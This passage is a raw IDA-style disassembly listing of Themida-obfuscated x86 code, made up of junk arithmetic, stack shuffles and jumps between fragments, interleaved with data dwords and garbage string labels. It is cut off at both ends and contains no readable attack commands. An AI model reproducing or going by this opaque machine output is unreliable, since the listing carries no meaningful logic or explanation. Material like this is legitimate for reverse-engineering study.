0F6E8E9h, 23E99700h, 890000A9h, 0EEBA2414h dd 0E91EFE20h, 0AA54h, 789EBB53h, 814B50A9h, 568767C3h dd 0E9DA01AFh, 7563h, 45C1CE81h, 0EED1586Eh, 37FCF681h dd 0F5013FF7h, 242C335Eh, 33242C31h, 248B242Ch, 24040924h dd 0D509E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544616: ; CODE XREF: Themida_:00543944j xor eax, ecx jmp loc_54F56B ; --------------------------------------------------------------------------- loc_54461D: ; CODE XREF: Themida_:00544798j and ecx, esi mov esi, [esp] add esp, 4 shr ecx, 7 jmp loc_54E2F3 ; --------------------------------------------------------------------------- a34SO db '34$éÏo',0 db 0 ; --------------------------------------------------------------------------- loc_544635: ; CODE XREF: Themida_:005506B5j pop ebp pop dword ptr [esp] pop esp sub esp, 4 mov [esp], eax mov eax, 4 jmp loc_551D16 ; --------------------------------------------------------------------------- aRsS db '´réßé',0 dd 2434FF00h, 4C4835Fh, 4A96E9h db 0 ; --------------------------------------------------------------------------- loc_54465D: ; CODE XREF: Themida_:00550D4Dj shr ebp, 4 dec ebp jmp loc_549352 ; --------------------------------------------------------------------------- loc_544666: ; CODE XREF: Themida_:00547F3Bj inc eax xor eax, 107A7163h add ebp, eax jmp loc_548239 ; --------------------------------------------------------------------------- db 8Bh dd 89512414h, 4C181E1h, 0E9000000h, 0F5AEh, 286BB551h dd 0D80059E8h, 0E313E9h, 278F0500h, 2E97754h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54469B: ; CODE XREF: Themida_:00547AADj sub esp, 4 mov [esp], eax mov eax, 683A6544h not eax and eax, 8116765h jmp loc_54BC17 ; --------------------------------------------------------------------------- dw 0E801h dd 0FFDF6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5446B9: ; CODE XREF: Themida_:005502F8j xor ebp, 0AC07DBEh sub ebp, 4F510466h shl ebp, 7 sub ebp, 327E1317h shr ebp, 4 add ebp, 72CFA451h add esi, ebp pop ebp add ebp, esi mov esi, [esp] jmp loc_543EDD ; --------------------------------------------------------------------------- loc_5446E4: ; CODE XREF: Themida_:00541BA9j sub esp, 4 mov [esp], edx push esi push ecx jmp loc_549025 ; --------------------------------------------------------------------------- dd 0FF5AD001h, 0C8B2434h, 4C48324h, 0E9585450h, 0D8ECh dd 4C2268h, 24248900h, 4240481h, 0E9000000h, 565Eh, 5D84685Ch dd 14890000h, 749FE924h db 2 dup(0) word_54472A dw 8956h ; DATA XREF: Themida_:00541ACCo dd 4C681E6h, 81000000h, 4EEh, 74FF5600h, 34FF0424h, 9AE1E924h dd 14890000h, 625E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54474E: ; CODE XREF: Themida_:0054B82Bj pop esp mov [esp], eax push 221C0E3Eh jmp loc_54BC07 ; --------------------------------------------------------------------------- dd 4C481h, 48F0000h, 4895C24h, 0EBB95124h, 0E916AA4Dh dd 10E68h, 5F03E581h, 0BF5778A5h, 6B4B26AFh, 815FFD09h dd 98019BC5h, 1DB95117h, 4960C108h, 0E6E9D1F7h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544797: ; CODE XREF: Themida_:00545B6Aj pop ebx jmp loc_54461D ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0BD55E189h, 4, 62CCE9h db 0 ; --------------------------------------------------------------------------- loc_5447AD: ; CODE XREF: Themida_:0054E1ADj inc edx dec edx add edx, 4A9E68CAh dec edx jmp loc_55390A ; --------------------------------------------------------------------------- db 81h dd 0B408EFEAh, 0EAC14A28h, 0E9E2D102h, 9719h, 0AEB815Bh dd 8B220E01h, 0C481240Ch, 4, 685EB951h, 0CE0107FEh, 81DE0159h dd 0FE685EEEh, 875F5B07h, 665C2434h, 2404A30Fh, 0E382E99Ch dd 0C8B0000h, 7ACDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544806: ; CODE XREF: Themida_:0054725Dj pop ebx dec ebx jmp loc_5478FF ; --------------------------------------------------------------------------- loc_54480D: ; CODE XREF: Themida_:005508BBj mov edi, 465D5603h or edi, 79240491h or edi, 311317F8h shr edi, 1 add edi, 0D60EA603h jmp loc_54DB91 ; --------------------------------------------------------------------------- db 5Ah dd 4C281h, 0C2830000h, 24148704h, 6CE8E95Ch, 0E2890000h dd 1884E9h, 93F12D00h, 0C681A479h, 2ECC3F40h, 0EE81C601h dd 2ECC3F40h, 73950558h, 8E2D458Ch, 1371A10h, 108E05F0h dd 0BF57371Ah, 458C7395h, 5DE9F829h, 8B00010Ch, 6857240Ch dd 76C8h, 81242489h, 42404h, 3C8B0000h, 0D612E924h, 0E581FFFFh dd 60984070h, 8804E9h, 24248B00h, 0E9241489h, 0E61Dh, 24E9D001h dd 81000048h, 4C4h, 1EE95700h, 890000D4h, 5A542414h, 437968h dd 123E900h, 0EE810001h, 1D7A17EEh, 4F43E9h db 0 ; --------------------------------------------------------------------------- loc_5448D5: ; CODE XREF: Themida_:0054A0BFj add edx, 0F960685h sub edx, 7C4539A9h pop eax jmp loc_553E91 ; --------------------------------------------------------------------------- loc_5448E7: ; CODE XREF: Themida_:0054A149j mov [esp], edi mov edi, ebx jmp loc_549B3E ; --------------------------------------------------------------------------- loc_5448F1: ; CODE XREF: Themida_:0055000Fj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_542C5C ; --------------------------------------------------------------------------- db 1, 6Ch, 24h dd 242C8B04h, 4C481h, 148B0000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_547C4F ; --------------------------------------------------------------------------- loc_54491D: ; CODE XREF: Themida_:005485E5j xchg ebp, [esp] jmp loc_5537E4 ; --------------------------------------------------------------------------- db 59h, 0E9h, 1Ch dd 810000D2h, 4C3h, 4EC8300h, 0FF241C89h, 5B042474h, 8B24048Fh dd 5FE92424h, 68000068h, 5771h, 0B8240489h, 1, 0DFE0E9h dd 15A5800h, 0C1E959CDh db 0D8h, 2 dup(0FFh) byte_544963 db 0ACh ; DATA XREF: Themida_:00541AC0o dd 8956D830h, 4C681E6h, 68000000h, 1B63h, 0BD242C89h, 4 dd 0E95DEE29h, 0EF39h, 0E903E6C1h, 114F2h, 0F9044C05h dd 7499053Eh, 7D35789Ch, 0E9AD14B9h, 9F66h ; --------------------------------------------------------------------------- loc_5449A0: ; CODE XREF: Themida_:00546A78j xchg eax, [esp] mov esp, [esp] mov [esp], esi push esp pop esi push edx jmp loc_54D5F6 ; --------------------------------------------------------------------------- db 0B9h, 7Fh, 37h dd 0CB0165B6h, 81C30159h, 0B6377FEBh, 0C1815865h, 25C54744h dd 0B42E9h, 0F7C18000h, 8046B753h, 36E9BCF7h, 0BDFFFFECh dd 3D2D7291h, 60B9F581h, 0BB530416h, 5CF530C0h, 13B9E381h dd 4E92DA5h, 83000041h, 0EAE904ECh, 89000099h, 7E9240Ch dd 80000111h, 0C5802EE5h, 0FEC5FEAAh, 0CA45E9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544A16: ; CODE XREF: Themida_:005453FFj push edi pop edx pop edi jmp loc_550204 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 0BEE2E9h db 0 byte_544A29 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00541A10o aHc db '$hç\',0 align 2 dw 1489h dd 51E28924h, 0FFD971E9h, 24248BFFh, 9C2424D2h, 0C533E9h dd 240C8700h, 6824248Bh, 6921h, 0FF243C89h, 5F042474h dd 8B24048Fh, 0CC682424h, 8900001Ch, 0AFB22414h, 0A411E9h db 0 ; --------------------------------------------------------------------------- loc_544A71: ; CODE XREF: Themida_:005506E4j push 179Fh mov [esp], eax mov eax, 4 sub esp, 4 mov [esp], ecx mov ecx, 7FD372EFh jmp loc_55405A ; --------------------------------------------------------------------------- loc_544A8E: ; CODE XREF: Themida_:0054AFEDj add ebp, 4 jmp loc_5485E2 ; --------------------------------------------------------------------------- loc_544A99: ; CODE XREF: Themida_:0054A5ABj mov [esp], ecx mov ecx, 15CE13F8h add dword ptr [esp+4], 2660091Ch sub [esp+4], ecx sub dword ptr [esp+4], 2660091Ch push dword ptr [esp] pop ecx add esp, 4 pop eax push ebx jmp loc_547F05 ; --------------------------------------------------------------------------- aISsi db '‰,$Séˆ~',0 align 4 aAba_ldS db 'Ñíí_LDºé%¹',0 db 0 ; --------------------------------------------------------------------------- loc_544AD9: ; CODE XREF: Themida_:005505C1j and eax, 54D65258h jmp loc_54EC7A ; --------------------------------------------------------------------------- db 43h dd 0BE56DBF7h, 53C7D3B9h, 895EF329h, 4C295BD9h, 1590824h dd 57042444h, 3909BABFh, 0E5BA527Ah, 16F1101h, 5A0C2454h dd 8247C01h, 1E5BE56h, 0CAE96F11h, 10000F4h, 0C7815AD7h dd 2, 31243C33h, 3C33243Ch, 24248B24h, 0B2C68h, 240C8900h dd 4ECDE953h, 2C870000h, 1CEEE924h, 1C890001h, 4C7FBB24h dd 448114E3h, 697A0424h, 5C290E11h, 6C810424h, 697A0424h dd 14E90E11h, 2900006Dh, 240C8BCBh, 65FEE9h, 5DEB3100h dd 0E5F1E9h, 495EBE00h, 0F789519Ch, 0C574E95Eh, 0D8890000h dd 0DBE9505Bh, 21000058h, 51565FFAh, 0DA60E953h, 0C4810000h dd 4, 4EC81h, 2C890000h, 1E58BD24h, 28E92D30h db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544BB3: ; CODE XREF: Themida_:0055276Ej push ecx jmp loc_555F90 ; --------------------------------------------------------------------------- loc_544BB9: ; CODE XREF: Themida_:0055378Ej mov ebp, [esp] add esp, 4 sub eax, 10BA3238h sub eax, 70BE66D5h sub eax, 6BA33B20h sub eax, 5DD9674Dh add eax, edx jmp loc_54C65B ; --------------------------------------------------------------------------- loc_544BDD: ; CODE XREF: Themida_:00549C29j shl al, 2 jmp loc_547910 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0ECh dd 4, 0F960E9h, 17C38100h, 0E952303Fh, 0E060h, 5503E2C1h dd 905285BDh, 1F58109h, 310FE8C3h, 0EE815DEAh, 139B4167h dd 310C681h, 0D6010EB3h, 310EE81h, 0B9510EB3h, 139B4167h dd 5A59CE01h, 0E8DDE9h, 40500h, 4050000h, 0E9000000h, 9729h dd 0AC568DBAh, 8BD5891Eh, 0C4832414h, 0BB684504h, 89000005h dd 6857241Ch, 649F1F18h, 4E7C15Fh, 2CC9EF81h, 0BD553693h dd 3468896h, 895DEF31h, 0D3F75FFBh, 0E498E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544C7A: ; CODE XREF: Themida_:00551456j pop esp mov [esp], ebp mov ebp, 20766582h jmp loc_54FF97 ; --------------------------------------------------------------------------- dd 7388EF81h, 1AE9769Ah db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544C93: ; CODE XREF: Themida_:00546B9Dj push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_5529EA ; --------------------------------------------------------------------------- loc_544CA0: ; CODE XREF: Themida_:005531F0j mov [esp], ebx mov ebx, 2BE45A41h xor ebx, 5BA03A84h inc ebx neg ebx jmp loc_553094 ; --------------------------------------------------------------------------- loc_544CB6: ; CODE XREF: Themida_:00546378j mov edi, 1FDE4F52h add edi, ebp jmp loc_54C158 ; --------------------------------------------------------------------------- dw 585Ah dd 4BD55h, 0E9010000h, 81242C8Bh, 4C4h, 240C3300h, 5045E9h dd 4C48300h, 6659EF88h, 18B450h, 0E95866E7h, 27CEh, 8145D5F7h dd 6D95DBF5h, 9B4EE91Bh, 4BD0000h, 1000000h, 5D04246Ch dd 0E9242C8Bh, 423Bh ; --------------------------------------------------------------------------- loc_544D10: ; CODE XREF: Themida_:00549FDBj sub ebx, 32691717h push ecx push eax push ebx mov ebx, 26050C8Dh mov eax, ebx mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5484E2 ; --------------------------------------------------------------------------- db 0FFh dd 5A042474h, 5C24048Fh, 234EBF57h, 0F781742Ch, 742C234Ah dd 0FEA4E9h db 0 ; --------------------------------------------------------------------------- loc_544D51: ; CODE XREF: Themida_:00549DE6j add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_556413 ; --------------------------------------------------------------------------- byte_544D65 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054194Co dd 0FF2434FFh, 0FFE92434h, 810000B4h, 4ECh, 240C8900h dd 115A2E9h, 58C60100h, 5070F681h, 0BF576865h, 59FE0755h dd 3E73E9h, 240C8900h, 5066C188h, 0D0F6C888h, 4EC8152h dd 89000000h, 0C588240Ch, 8859EE88h, 0FE95AF1h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544DB7: ; CODE XREF: Themida_:0054BB69j add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] push dword ptr [esp] pop ebp add esp, 4 pop edx mov dword ptr [edi+20h], 11896D56h sub esp, 4 mov [esp], ecx mov ecx, 20h sub ecx, 56795359h add ecx, edi add ecx, 56795359h push edx mov edx, 0 add edx, ecx xor [edx], ebx pop edx pop ecx push ecx jmp loc_55447A ; --------------------------------------------------------------------------- dd 34FFE588h, 2A5E924h, 4D590001h, 0A37AB850h, 0C529A330h dd 0CFEB8158h, 0E936FC06h, 101D9h, 83E9FB29h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544E27: ; CODE XREF: Themida_:005443F8j mov ebp, eax jmp loc_541CC8 ; --------------------------------------------------------------------------- dw 1489h aHz7 db '$h‡7',0 align 2 dw 1C89h dd 53C38824h, 0C381E389h, 4, 8704EB83h, 895C241Ch, 1CE9240Ch dd 5E000027h, 4C681h, 0BF570000h, 4, 565FFE29h, 42474FFh dd 24048F5Eh, 8924248Bh, 0DCE9243Ch db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544E77: ; CODE XREF: Themida_:00555417j push 7D9D2520h pop edi push ecx push 2DC67428h pop ecx and edi, ecx pop ecx not edi sub edi, 0C6EABA21h mov ebp, edi pop edi mov esi, ebp pop ebp shl esi, 7 xor esi, 0C890DF04h add ebx, esi pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_547E9F ; --------------------------------------------------------------------------- loc_544EAF: ; CODE XREF: Themida_:0054DC60j add edx, edi pop edi sub edx, 0E5A3739h jmp loc_549EF9 ; --------------------------------------------------------------------------- aShsp db 'Shép',0 dw 5400h dd 8324048Fh, 0FF042404h, 0E95B2434h, 70D9h, 0E904C483h dd 107Ah, 592434FFh, 4C481h, 48F0000h, 24248B24h, 9C240401h dd 0FFCC2AE9h, 5FFA01FFh, 1272BB53h, 0DA010AE1h, 0CDE2815Bh dd 814B8003h, 4215EDF2h, 762A2D67h, 0D9E93C39h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544F17: ; CODE XREF: Themida_:00550075j inc esi push ebp jmp loc_55032F ; --------------------------------------------------------------------------- loc_544F1E: ; CODE XREF: Themida_:005438D7j pop ebp add edx, 20A232E1h add edx, edi sub edx, 20A232E1h sub esp, 4 mov [esp], esi push eax push ebx push 2E6F74C7h pop ebx loc_544F3E: ; DATA XREF: ___:off_4274E0o jmp loc_555F60 ; --------------------------------------------------------------------------- loc_544F43: ; CODE XREF: Themida_:005467B3j xor eax, ebx pop ebx shl eax, 6 sub eax, 9D59808Ah mov esi, eax jmp loc_547A9C ; --------------------------------------------------------------------------- loc_544F55: ; CODE XREF: Themida_:005547C6j mov ebx, 10CC235Fh neg ebx push ecx mov ecx, 2302188Eh add ecx, 6F0695CEh sub ebx, ecx pop ecx add eax, ebx pop ebx push 4E74h mov [esp], ecx sub esp, 4 mov [esp], esi mov esi, 7ED711B8h add esi, 1 push ecx push 314Ah mov [esp], edx mov edx, 4C200AAAh sub edx, 0FFFFFFFFh or edx, 1FA465BCh push ebp mov ebp, 18E24C1Fh add ebp, 34A3CEC2h and edx, ebp jmp loc_54E323 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0EB88241Ch, 595BDE88h, 34FFF588h, 0C4815A24h dd 4, 0E9E88850h, 3616h, 0C8738ABFh, 8BF80111h, 8952243Ch dd 4BF57E2h, 0E9000000h, 1129Bh, 8B240C33h, 66642424h dd 24E90289h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544FFB: ; CODE XREF: Themida_:0054D883j push esi mov esi, 19401FFBh inc esi shl esi, 1 jmp loc_548E73 ; --------------------------------------------------------------------------- loc_545009: ; CODE XREF: Themida_:00542E7Fj xor [esp], dx jmp loc_541B1F ; --------------------------------------------------------------------------- dw 0BA52h dd 6BFC5C4Bh, 0CF8E94Ah, 0C4830001h, 4EC8304h, 0BF243C89h dd 16D56B04h, 815FFD09h, 0D57B28EDh, 0CF4EE916h, 2C89FFFFh dd 37F9BD24h, 0B9515379h, 65292276h, 0F181D9F7h, 47B84D23h dd 0ED8AE9h, 59C88900h, 0B12BD55h, 0E8010054h, 681E9h dd 30EE8100h, 108C73Ah, 30C681C6h, 8308C73Ah, 148904ECh dd 677FBA24h, 0C28114C6h, 0FFFFFFFFh, 3E8BE9h, 7E5C000h dd 0C5FED5F6h, 8006EDC0h, 7DE970F5h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54509B: ; CODE XREF: Themida_:00549F86j pop ecx push ebx mov ebx, 4 add ecx, ebx pop ebx add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_55595A ; --------------------------------------------------------------------------- loc_5450B9: ; CODE XREF: Themida_:0054B289j pop esp mov [esp], edi mov edi, 4 jmp loc_5565E8 ; --------------------------------------------------------------------------- loc_5450C7: ; CODE XREF: Themida_:00545821j add edi, 4 add edi, 2 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_552482 ; --------------------------------------------------------------------------- aULNsM db 'U½,L¾NéßM',0 dw 8100h a_skbRkSs db 'Ų_SŠÇàKÔSé',0 aI_0 db 'i',0 align 4 dword_5450FC dd 42474FFh, 0FF2434FFh, 34FF2434h, 0C4815824h, 4, 4C481h ; DATA XREF: Themida_:00541978o db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] jmp loc_541F40 ; --------------------------------------------------------------------------- db 81h dd 0BFC206F6h, 5EF5890Ah, 2B60C581h, 0FD017D85h, 2B60ED81h dd 79E97D85h db 0E1h, 2 dup(0FFh) byte_54514B db 68h ; DATA XREF: Themida_:00541A84o dd 1C28h, 68243489h, 46F7h, 68243C89h, 5B945A93h, 49E9535Fh db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545167: ; CODE XREF: Themida_:0054F8FFj shr eax, 2 sub eax, 22DB63A3h jmp loc_543738 ; --------------------------------------------------------------------------- dd 33241C31h, 248B241Ch, 24348924h, 83241C8Bh, 34FF04C4h dd 209AE924h, 0D9F70000h, 2772E981h, 0E1C12963h, 9BF18107h dd 310A6B4Ch, 2AD5E9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5451A6: ; CODE XREF: Themida_:00541CBCj add eax, edi jmp loc_54B322 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0C7h dd 1107B52h, 7A8968EFh, 0C890000h, 0E7FEE924h, 0EA800000h dd 4FF2E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5451CA: ; CODE XREF: Themida_:0054AE23j add edx, ecx pop ecx push ecx mov ecx, 4 jmp loc_556607 ; --------------------------------------------------------------------------- dd 4C481h, 3AE90000h, 530000A5h, 4BBh, 245C0100h, 34FF5B04h dd 89565824h, 0A1E953E6h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5451FB: ; CODE XREF: Themida_:00542513j xor ecx, 167DA927h xor esi, ecx pop ecx mov eax, esi pop esi dec eax push esi mov esi, 23672D7Fh xor eax, esi pop esi jmp loc_54B471 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BB241C89h, 2C273B9Dh, 0CB5DE9h, 24048700h, 2D97E9h db 0 ; --------------------------------------------------------------------------- loc_545231: ; CODE XREF: Themida_:005481CFj mov ebp, 0BA478BAh add eax, 6DBD5E5Fh sub eax, 1EBF666Bh sub eax, ebp add eax, 1EBF666Bh push esi jmp loc_550505 ; --------------------------------------------------------------------------- db 66h, 5Eh, 81h dd 2ECh, 14896600h, 4CBA6624h, 54296661h, 5A660424h, 24348B66h dd 0F3D5E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54526E: ; CODE XREF: Themida_:0054790Bj push ebx pop ebp pop ebx add ebx, 47EC7903h jmp loc_542663 ; --------------------------------------------------------------------------- dd 0FF241C89h, 0FF042474h, 535B2434h, 7A1FE954h, 0C2810000h dd 4, 8704C283h, 2D5C2414h, 30A5563Eh, 3E05F801h, 0FF30A556h dd 835F2434h, 79E904C4h, 810000A3h, 4C4h, 15CE8100h, 556D2649h dd 9C28DCBDh, 89E58171h, 81089A50h, 784C63E5h, 0D880E90Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5452D6: ; CODE XREF: Themida_:005489B2j inc ecx jmp loc_54B81C ; --------------------------------------------------------------------------- loc_5452DC: ; CODE XREF: Themida_:00548E94j and edx, 36991095h push ebx mov ebx, 3FF8680Dh add edx, ebx mov ebx, [esp] add esp, 4 jmp loc_54CCC4 ; --------------------------------------------------------------------------- db 89h, 0E1h, 53h dd 0F5658DBBh, 1EB8303h, 6806E3C1h, 6F0Fh, 0BF243C89h dd 0FFFFFFFFh, 35E95051h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_545317: ; CODE XREF: Themida_:005548B5j add ebx, 0FFFFFFFFh shr ebx, 2 sub ebx, 1DEA91E1h push 3498h mov [esp], ebp mov ebp, ebx push ebp sub dword ptr [esp], 738E68E7h push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push ecx mov ecx, 738E68E7h jmp loc_54CE08 ; --------------------------------------------------------------------------- loc_54534F: ; CODE XREF: Themida_:005488A3j ; DATA XREF: ___:off_43664Co ror byte ptr [esp], cl pushf jmp loc_541B1F ; --------------------------------------------------------------------------- dd 4240481h, 8B000000h, 0C481241Ch, 4, 4C381h, 1BE90000h dd 8B0000F9h, 0C483241Ch, 1A37E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54537E: ; CODE XREF: Themida_:005534A4j pop edi add ebx, 50FC1B3Ch add ebx, 0DED50B7h add ebx, 4E682FDFh add ebx, eax jmp loc_54D05C ; --------------------------------------------------------------------------- loc_545398: ; CODE XREF: Themida_:005549B3j sub eax, 58413FD9h add eax, ebx add eax, 58413FD9h mov ebx, [esp] push edx mov edx, esp jmp loc_5516E7 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 241C3300h, 33241C31h, 248B241Ch, 7DE6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5453C6: ; CODE XREF: Themida_:0054AF15j add edx, 4 add edx, 2 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov cx, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push esp pop ecx push edx push edi mov edi, 4 jmp loc_544A16 ; --------------------------------------------------------------------------- loc_545404: ; CODE XREF: Themida_:005562D0j mov edi, [esp] jmp loc_555AD6 ; --------------------------------------------------------------------------- dd 565DEE31h, 0FA315E5Fh, 5F2434FFh, 4C481h, 0D5010000h dd 0E8ABE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_545426: ; CODE XREF: Themida_:00546816j mov ebp, 4 mov ebx, ebp pop ebp add ecx, ebx pop ebx sub ecx, 4 jmp loc_5494E0 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h aPuO?ocissD db 'PU½®?oc‰èé#¤',0 align 2 word_54544A dw 8B66h ; DATA XREF: Themida_:005418B8o dd 8068240Ch, 0E900000Bh, 2955h, 4C181h, 9A680000h, 89000015h dd 89502414h, 405E0h, 0BF570000h, 34274D92h, 0E6F78147h dd 0C1798C1Ch, 99E905E7h, 89FFFFEDh, 0B3B7241Ch, 885BFD30h dd 4FA7E9EEh, 0B9510000h, 6A8309DFh, 0F176E9h db 0 ; --------------------------------------------------------------------------- loc_54549D: ; CODE XREF: Themida_:00554D81j pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_547CB0 ; --------------------------------------------------------------------------- dd 1411C781h, 7CE95382h, 8B0000C1h, 0C481240Ch, 4, 0E924048Fh dd 1761h, 0F759CD89h, 2B85E9DDh, 0C870000h, 5821E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5454DE: ; CODE XREF: Themida_:0054D55Ej mov esi, eax jmp loc_550738 ; --------------------------------------------------------------------------- aISui db 'ˆÚ[éî›',0 dd 2C48300h, 0E958C700h, 1679h, 1E9C500h, 83FFFFE5h, 0FF5102C1h dd 0FF042474h, 54E92434h, 10000ACh, 0F943E9D9h, 45B90000h dd 81262A4Ah, 0D5B5BFC1h, 85C681D9h, 81496D42h, 0B37287C6h dd 0E9CE0159h, 0F8C4h, 2D08E8C1h, 62272h, 8F7C181h, 0C1290DCAh dd 440ABB53h, 0EB811A21h, 58B07DB6h, 0A2F38143h, 29CCBACEh dd 51585BD9h, 0F503E9h, 0EE295B00h, 6855575Dh, 7D2B3999h dd 50D5F75Dh, 0CB8561B8h, 0E9C52912h, 0FFFFDC48h, 284265BDh dd 8EFCE91Ah, 0FC350000h, 1636048h, 24048BC7h, 0E904C483h dd 1135Ah, 0D8E9E830h, 89FFFFF2h, 0E950242Ch, 759Bh, 8105E2C1h dd 7FF204C2h, 8BD129D9h, 4AE92414h db 0D1h, 2 dup(0FFh) byte_5455BB db 66h ; DATA XREF: Themida_:00541864o dd 585450ADh, 405h, 8802E900h, 0C890000h, 4B924h, 4C010000h dd 0E9590424h, 2BC9h ; --------------------------------------------------------------------------- loc_5455DC: ; CODE XREF: Themida_:0054C894j sub edx, 7B15472Dh add dword ptr [edx], 1 mov edx, [esp] add esp, 4 loc_5455F1: ; CODE XREF: Themida_:005558A9j push 4FC8h mov [esp], ebx jmp loc_54368C ; --------------------------------------------------------------------------- dw 8956h dd 4C681E6h, 83000000h, 348704C6h, 0EC835C24h, 240C8904h dd 1417B850h, 1BB97F67h, 0E97F6714h, 0C86Ch, 888C781h dd 0C7814F01h, 913CBF1Bh, 3C8BFE89h, 0E1895124h, 4C181h dd 0C1810000h, 4, 5C240C87h, 5E1C7721h, 0FFC4CEE9h, 4AC181FFh dd 814E4E0Dh, 1A28F0C9h, 14DFE925h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545662: ; CODE XREF: Themida_:00546017j push esi mov esi, 4 add ebp, esi jmp loc_551781 ; --------------------------------------------------------------------------- db 1 dd 6E95DEAh, 510000A7h, 0B3E95954h db 0Eh, 1, 0 byte_54567F db 66h ; DATA XREF: Themida_:00541970o dd 5524048Bh, 0C5815D54h, 4, 787668h, 240C8900h, 41E068h dd 241C8900h, 2BBh, 0DF895700h, 89FB8953h, 4FE95BD9h, 81000033h dd 0AAFDE0C2h, 0E9D601CBh, 0B97Ah ; --------------------------------------------------------------------------- loc_5456BC: ; CODE XREF: Themida_:0054905Cj sub eax, edx pop edx pop edx push eax mov eax, 22606960h jmp loc_5525E8 ; --------------------------------------------------------------------------- loc_5456CB: ; CODE XREF: Themida_:005431DDj mov [esp], ebp push 4D5D2DF3h mov ebp, [esp] add esp, 4 shl ebp, 5 xor ebp, ebx jmp loc_552739 ; --------------------------------------------------------------------------- dw 2D5Dh dd 4F5807B5h, 0FFFFFF05h, 3E0C1FFh, 3504E8C1h, 0D1F0B41h dd 48BC201h, 84D9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545706: ; CODE XREF: Themida_:0054AB34j add eax, edx pop edx jmp loc_54DE19 ; --------------------------------------------------------------------------- dw 0F381h dd 41812B5Eh, 5D90BE56h, 0CE811074h, 6B8E5F08h, 41BF5746h dd 2973DE3Dh, 0F3315FFEh, 6FE3815Eh, 0F74DF270h, 89ADE9D3h dd 515C0000h, 0C181E189h, 4, 8704E983h, 248B240Ch, 240C8924h dd 0CC7D28B9h, 246C8107h, 0F15B0E04h, 244C2945h, 24448104h dd 0F15B0E04h, 2434FF45h, 4C48159h, 81000000h, 10BF242Ch dd 4817AC6h, 1777124h, 2404291Dh, 13568h, 24348900h, 35B068h dd 24148900h, 7FB85053h, 3572F573h, 428520BAh, 804DC50Dh dd 2E0C159h, 0F85C0540h, 0C389353Fh, 5BDA8958h, 0FFD117E9h dd 58C189FFh, 2242BA52h, 0D3015B3Eh, 50CB295Ah, 3E2242B8h dd 58C3295Bh, 592434FFh, 104C483h, 298FE9DAh, 0C0830000h dd 0F1A6E901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5457E6: ; CODE XREF: Themida_:005551F1j mov ch, dh mov edx, [esp] push 4DFBh jmp loc_546158 ; --------------------------------------------------------------------------- db 68h, 76h, 7Ch dd 815F28CDh, 5591DF7h, 0F6E7E976h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545806: ; CODE XREF: Themida_:00553270j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push edi jmp loc_54202E ; --------------------------------------------------------------------------- loc_545818: ; CODE XREF: Themida_:00551A91j xchg ebp, [esp] pop esp mov [esp], edi mov edi, esp jmp loc_5450C7 ; --------------------------------------------------------------------------- dw 1C89h dd 0E3BB6624h, 0EBC16655h, 2EC8307h, 24148966h, 0BA66h dd 0E9DA2966h, 3DBAh, 0E9240489h, 0FFFFC2D3h ; --------------------------------------------------------------------------- loc_54584C: ; CODE XREF: Themida_:0054A541j push eax mov eax, esp add eax, 4 add eax, 4 xchg 